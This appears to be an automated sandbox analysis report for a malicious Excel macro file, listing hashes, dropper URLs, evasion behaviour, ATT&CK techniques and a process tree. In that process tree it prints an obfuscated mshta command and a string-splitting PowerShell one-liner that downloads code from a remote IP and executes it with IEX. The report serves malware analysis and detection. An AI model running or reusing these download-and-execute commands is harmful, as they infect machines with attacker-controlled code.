bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603

General

Target

35731290084461452.xlsm
Size

115KB
MD5

cb5ae08f0635dff32c684570750108b5
SHA1

33c65f18d7f753d82cb4ac73540d5e53acb61d5f
SHA256

bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603
SHA512

4728bc8629c0584e23d02d4705ce607c6dd76740f4b64b089c8df5dc30f3fd3bec6d6dd4e39ab0bddb4da4fad6bc184496f580232555f74148db38455084f564

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2816	856	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

21 1672 mshta.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3580 1672 WerFault.exe mshta.exe

flow	pid	process
21	1672	mshta.exe

pid	pid_target	process	target process
3580	1672	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

856 EXCEL.EXE
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

856 EXCEL.EXE
856 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
856	EXCEL.EXE
856	EXCEL.EXE
856	EXCEL.EXE
856	EXCEL.EXE
856	EXCEL.EXE
856	EXCEL.EXE
856	EXCEL.EXE
856	EXCEL.EXE
856	EXCEL.EXE
856	EXCEL.EXE
856	EXCEL.EXE
856	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 856 wrote to memory of 2960	856	EXCEL.EXE	splwow64.exe
PID 856 wrote to memory of 2960	856	EXCEL.EXE	splwow64.exe
PID 856 wrote to memory of 2816	856	EXCEL.EXE	cmd.exe
PID 856 wrote to memory of 2816	856	EXCEL.EXE	cmd.exe
PID 2816 wrote to memory of 1672	2816	cmd.exe	mshta.exe
PID 2816 wrote to memory of 1672	2816	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\35731290084461452.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:856

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2960

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2816

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/se1.html
3⤵
- Blocklisted process makes network request
PID:1672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
PID:2628

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1672 -s 1724
4⤵
- Program crash
PID:3580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:640

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 432 -p 1672 -ip 1672
1⤵
PID:3772

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/856-130-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/856-131-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/856-132-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/856-133-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/856-134-0x00007FF7D3910000-0x00007FF7D3920000-memory.dmp

Filesize
64KB

Download
memory/856-137-0x00007FF7D13B0000-0x00007FF7D13C0000-memory.dmp

Filesize
64KB

Download
memory/856-138-0x00007FF7D13B0000-0x00007FF7D13C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads